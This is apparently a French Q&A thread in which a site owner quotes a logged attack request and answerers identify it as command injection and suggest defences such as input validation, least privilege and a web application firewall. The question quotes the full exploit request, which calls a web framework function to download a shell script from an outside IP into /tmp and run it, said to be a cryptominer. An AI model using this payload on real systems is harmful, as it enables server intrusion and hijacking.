web-dev-qa-db-fra.com

Comment empêcher les utilisateurs d'exécuter des commandes via l'URL du navigateur?

J'ai très peu d'expérience avec la sécurité (j'apprends toujours) mais je parcourais mes journaux et j'ai remarqué la demande suivante:

"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

Tout d'abord, cela n'avait aucun sens pour moi, à l'exception de chmod 777 qui m'indique que quelqu'un essayait de modifier mes autorisations de fichier.

Ma question est de savoir quel type d'attaque s'agit-il et quelles mesures puis-je prendre pour l'empêcher?

36
user3718908

C'est une attaque par injection de commandes dans laquelle:

l'objectif est l'exécution de commandes arbitraires sur le système d'exploitation hôte via une application vulnérable. Les attaques par injection de commandes sont possibles lorsqu'une application transmet des données non sécurisées fournies par l'utilisateur (formulaires, cookies, en-têtes HTTP, etc.) à un shell système. Dans cette attaque, les commandes du système d'exploitation fournies par l'attaquant sont généralement exécutées avec les privilèges de l'application vulnérable. Les attaques par injection de commandes sont possibles en grande partie en raison d'une validation d'entrée insuffisante.

Il existe de nombreuses stratégies pour atténuer ou éviter ce type d'attaques comme:

  • Ne pas "exécuter" vers le système d'exploitation si cela peut être évité.
  • Valider les entrées non fiables (jeu de caractères, longueur minimale et maximale, correspondance avec un modèle d'expression régulière ...)
  • Neutralisez les méta-caractères qui ont un sens dans la ligne de commande du système d'exploitation cible.
  • Mettre en œuvre le "moindre privilège"

Vous pouvez trouver certains ici et jeter un oeil à ce cheatsheet de OWASP pour plus de détails.

51
Soufiane Tahiri

Comme indiqué précédemment, il s'agit d'une attaque par injection de commandes qui tente de télécharger un script .sh, de lui accorder les autorisations d'exécution et de l'exécuter. Dans ce cas, le script est un mineur de bitcoin.

Les recommandations du guide OWASP que Soufiane doit être suivie pour garantir la sécurité de votre application Web, mais pour une couche de sécurité supplémentaire, un pare-feu d'application Web peut être utilisé qui bloquera les demandes comme celles-ci avant qu'elles n'atteignent votre processus serveur.

17
Veyf